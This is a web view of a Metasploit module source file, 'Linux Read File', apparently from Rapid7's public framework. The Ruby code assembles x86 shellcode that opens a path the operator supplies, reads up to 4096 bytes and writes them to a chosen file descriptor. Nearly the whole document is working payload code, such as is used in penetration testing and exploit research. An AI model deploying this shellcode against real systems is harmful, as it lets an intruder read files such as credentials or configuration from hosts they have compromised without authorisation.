Path: blob/master/modules/payloads/singles/linux/x86/read_file.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 6378include Msf::Payload::Single9include Msf::Payload::Linux::X86::Prepends1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Linux Read File',16'Version' => '',17'Description' => 'Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor',18'Author' => 'hal',19'License' => MSF_LICENSE,20'Platform' => 'linux',21'Arch' => ARCH_X8622)23)2425# Register exec options26register_options(27[28OptString.new('PATH', [ true, 'The file path to read' ]),29OptString.new('FD', [ true, 'The file descriptor to write output to', 1 ]),30]31)32end3334def generate(_opts = {})35fd = datastore['FD']3637payload_data = <<-EOS38jmp file3940open:41mov eax,0x5 ; open() syscall42pop ebx ; Holds the filename43xor ecx,ecx ; Open for reading (0)44int 0x804546read:47mov ebx,eax ; Store the open fd48mov eax,0x3 ; read() syscall49mov edi,esp ; We're just going to save on the stack50mov ecx,edi ; Save at edi51mov edx,0x1000 ; Read as much as we can52int 0x805354write:55mov edx,eax ; Number of bytes to write56mov eax,0x4 ; write() system call57mov ebx,#{fd} ; fd to write to58int 0x805960exit:61mov eax,0x1 ; exit() system call62mov ebx,0x0 ; return 063int 0x806465file:66call open67db "#{datastore['PATH']}", 0x0068EOS6970Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string71end72end737475